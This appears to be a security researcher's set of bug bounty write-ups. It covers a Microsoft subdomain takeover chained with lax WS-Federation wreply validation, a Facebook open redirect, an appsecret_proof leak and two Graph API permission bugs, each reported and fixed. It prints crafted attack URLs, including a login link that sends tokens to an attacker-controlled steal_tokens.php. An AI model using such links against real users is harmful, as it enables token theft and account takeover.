Leaking access tokens from Microsoft apps chaining two vulnerabilities


First Issue:

During the initial recon I retrieved the list of all possible subdomains of office.com pointing to many Azure instances. One of them was success.office.com which was not getting resolved to any IP address, but had a CNAME pointing to an Azure web app instance successcenter-msprod. Chances are that you can takeover an Azure instance if the domain is not getting resolved to it. So I tried to create a web app with the name successcenter-msprod in my Azure portal and it was accepted as a valid name. In other words, the previous instance with that name had been removed and is now free. Which basically means, whatever we host on successcenter-msprod; success.office.com would point to it as the CNAME record specifies.

Second Issue:

Microsoft uses WS Federation for it’s implementation of a centralized login system for most of the applications including Outlook, Sway, Microsoft Store etc. WS Fed is similar to Oauth. wreply in WS Fed is the counterpart of redirect_url in Oauth. If you read about Nir Goldshlager’s Facebook Oauth bug series, you will understand the dangers of not using an exact URL match (or not properly validating) for wreply or redirect_url wherever possible. Here in this case, Microsoft was allowing any subdomains of office.com (*.office.com) to be a valid wreply URI.

Since one of their subdomain was in my control, I could use the domain as a valid wreply url and was able to leak the access tokens:

https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1529775349 &rver=6.7.6643.0&wp=MBI_SSL&wreply=https://success.office.com/steal_tokens.php &lc=1033&id=292666&lw=1&fl=easi2&pcexp=true&uictx=me

Basically, if any user who has already been authenticated (or going to authenticate), “clicked” on a crafted link with the above changes, the tokens would get leaked and this token can be exchanged for a session token and subsequently an account takeover would result.

In the below screenshot, you can find the tokens getting leaked to the server I control:

Media Coverage:

This finding has gained some media attention. A few of them are listed below:

Unvalidated URL Redirect - Facebook Bug Bounty


Description

An open redirect requires no explanation. Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input.

PoC

After dorking a lot for old endpoints in Facebook, I found the following endpoint.

https://www.facebook.com/browsegroups/addcover/log

It was found to be accepting user inputs through a GET parameter named groupuri and the expected value was a URL, to make redirections into the specified URL. I found that it could be manipulated to achieve URL redirections to external websites. From initial tests it was found to be disallowing any external links to be put through that field. Any suspicious activity would cause a redirection to /home.php. So I abused Facebook’s own URL shortening feature fb.me. Even though it had some black-list based validations to ensure that no redirections are permitted towards existing fb.me service domains such as d.fb.me , on.fb.me, www.fb.me and fb.me, I came to see that by simply putting any arbitrary subdomains of fb.me (which was non-existing : for eg: blah.fb.me) would work and 302 was getting issued. After shortening an external url with fb.me, I checked if visiting the arbitrary subdomain would actually make a redirection to the website and fortunately that worked. I proceeded on to making a cool report. So the final url looked like this :

https://www.facebook.com/browsegroups/addcover/log/?groupid=1&groupuri=https://<anything>.fb.me/iDent1fi3R

What happened here is, instead of using a regex based validation, Facebook relied up on a black-listed based approach.

Reported - Dec 15 2016 
Clarification sent - Dec 16 2016
Fix - 11 Jan 2017
Bounty - 19 Jan 2017

Thanks for reading!

Leaking Facebook appsecret_proof - Private Bounty


While analysing the Oauth implementations and authentication procedures for a private bounty target in Hackerone, I found something that allowed me to leak the appsecret_proof (hash_hmac('sha256', app_access_token, app_secret)) which was being submitted to Facebook servers from the app server.

What’s appsecret_proof? Read more.

The site had a “Login with Facebook” option. While signing into site.com using Facebook and intercepting the POST request containing the access_token which was being submitted to https://www.site.com/auth/facebook after the Oauth flow, I tried fuzzing the request parameters. I chose to play with the parameter access_token and replaced the access_token I just allowed from Facebook with a new access_token (with minimal permissions) I grabbed directly from the Graph API Explorer. To my surprise, the app didn’t validate the response it received from Facebook’s remote server and passed it on to the user end. The error response contained both the access_token that was submitted by the user and appsecret_proof. In other words, it just defeated the whole purpose of using an appsecret_proof. I immediately reported the issue to site through their BBP.

Site.com fixed the vulnerability after hours of the initial report by validating the response they receive from remote server and rewarded me with an awesome bounty ;)

I went ahead and gave Facebook a heads up as there must be hundreds of apps following the same strategy in their implementations. Although it had nothing to do with Facebook, it still had something to do with Facebook as throwing appsecret_proof which the client (not end-users) just submitted, back to them within the error message was pretty unnecessary and something Facebook had forgotten to consider. Facebook denied to fix the issue stating that it’s the client’s responsiblity to properly validate the API response and mentioned that those error messages would help in troubleshooting.

Thanks for reading!

Publishing to /group/photos/ without sufficient permissions - Facebook Bug


Update : It is found that this issue was already reported by Philippe Harewood and fixed by Facebook even before my report. This is just another example of how code changes must have caused the same vulnerability to reappear.


Description

According to Facebook’s Graph API documentation about publishing to groups other than ‘App and Games groups’, publish_actions and either user_managed_groups or user_groups permissions are needed.

It was found possible to publish through the photos edge without setting user_managed_groups or user_groups scope, but only publish_actions in the access_token.

Impact:

It posts an update to the attacker targeted group (ofcourse, victim should be a member of) EVEN if the user had only granted ‘ONLY ME’ privacy mode for posts while allowing the access token.

Reproduction:

  1. Get an access_token for Graph API Explorer from a test account with publish_actions scope set.

  2. Using Graph API Explorer, make a post on behalf of the user to the ‘photos’ edge of node {group-id}.

  3. Use the POST field url and point it an image url.

  4. Complete the request.

It returns an id and post_id after posting the update. Facebook fixed the vulnerability after it was reported to them.

 
Report sent : 02 Sep 2015 
Escalation : 22 Sep 2015 
Fix : Sometime after rewarding the bounty.
Bounty awarded : 04 May 2015 

Thanks for reading!

Page moderator can change timeline visibility - Facebook Bug


Description:

It was possible for a page moderator with Facebook Messenger access_token to change timeline visibility of a post by issuing a request to the following graph endpoint after setting proper values.

https://graph.facebook.com/v2.2/<PAGE-ID>_<POST-ID>?access_token=<MESSENGER-ACCESS-TOKEN>&timeline_visibility=hidden&method=post

The GET parameter timeline_visibility can have any of these values: hidden, normal or starred.

According to Page Role specifications, it should not have happened.

Upon successful request, the timeline visibility of the particular post changed into whatever state was passed through the parameter.

 
Report sent : 27 July 2015 

Facebook responded saying that it was a duplicate of an issue they were already tracking. Thanks for reading!